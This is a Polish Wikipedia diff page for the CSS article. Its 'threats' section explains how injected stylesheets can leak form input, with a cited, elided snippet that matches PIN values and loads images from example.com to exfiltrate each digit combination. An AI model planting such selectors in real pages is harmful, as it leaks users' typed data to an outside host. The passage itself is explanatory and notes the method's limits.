Kaskadowe arkusze stylów: Różnice pomiędzy wersjami
[wersja nieprzejrzana] | [wersja przejrzana] |
Usunięta treść Dodana treść
→Przykłady: , lit. Znacznik: Edytor kodu źródłowego 2017 |
uściślenie i poprawki |
||
Linia 113:
== Przykłady ==
Przykład definicji stylu dla pliku
<syntaxhighlight lang="css">
Pracownik {
Linia 168:
== Zagrożenia ==
CSS dodawany przez użytkownika może stanowić zagrożenie. Jedną z możliwości jest wstawienie obrazka tła, który będzie nasłuchiwał ruchu na danej witrynie.
Istnieje też możliwość stworzenia CSS, który będzie wykradał dane wpisane w polu formularza<ref name=":0">{{Cytuj |autor = Al Williams |tytuł = CSS Steals Your Web Data |data = 2018-02-25 |data dostępu = 2020-04-27 |opublikowany = Hackaday |url = https://hackaday.com/2018/02/25/css-steals-your-web-data/ |język = en-US}}</ref>. Metoda jest możliwa dzięki użyciu specyficznych selektorów oraz obrazkom w tle. Istnieje również wariacja wykorzystująca regułę ''font-face''<ref name=":1">{{Cytuj |tytuł = CSS Keylogger (and why you shouldn’t worry about it) |data dostępu = 2020-05-14 |opublikowany = Bram.us |url = https://www.bram.us/2018/02/21/css-keylogger-and-why-you-shouldnt-worry-about-it/ |język = en-US}}</ref>.
Przykład kradzieży czterocyfrowego pinu:
<syntaxhighlight lang="css">
input[type="pin"][value$="0000"] { background-color: url(http://example.com/0000.png) }
input[type="pin"][value$="0001"] { background-color: url(http://example.com/0001.png) }
/* ... */
input[type="pin"][value$="9999"] { background-color: url(http://example.com/9999.png) }
</syntaxhighlight>
Metoda jest jednak niepraktyczna do wykradania haseł, a nawet dłuższych ciągów cyfr<ref name=":1" />. Jednym z problemów jest szybkie rośnięcie liczby kombinacji selektorów i reguł CSS jakie należy obsłużyć. Nawet przy hasłach o długości do 5 znaków z 24-znakowym alfabetem to jest ponad 7 milionów [[Wariacja z powtórzeniami|wariacji]]. Czyli taki CSS zająłby ponad 500 [[Megabajt|MiB]] (licząc średnio 70 znaków na regułę). Pozostaje do tego problem wykradzenia również loginu.
Wśród społeczności programistów pojawiło się co prawda określenie „CSS [[keylogger]]”, jednak reguły CSS nie są przetwarzane pod wpływem naciśnięcia klawiszy. Reguły są przetwarzane dopiero po zmianie wartości atrybutu ''value'', co domyślnie nie jest jednoznaczne z naciśnięciem klawisza<ref name=":0" /><ref name=":1" />.
== Zobacz też ==
|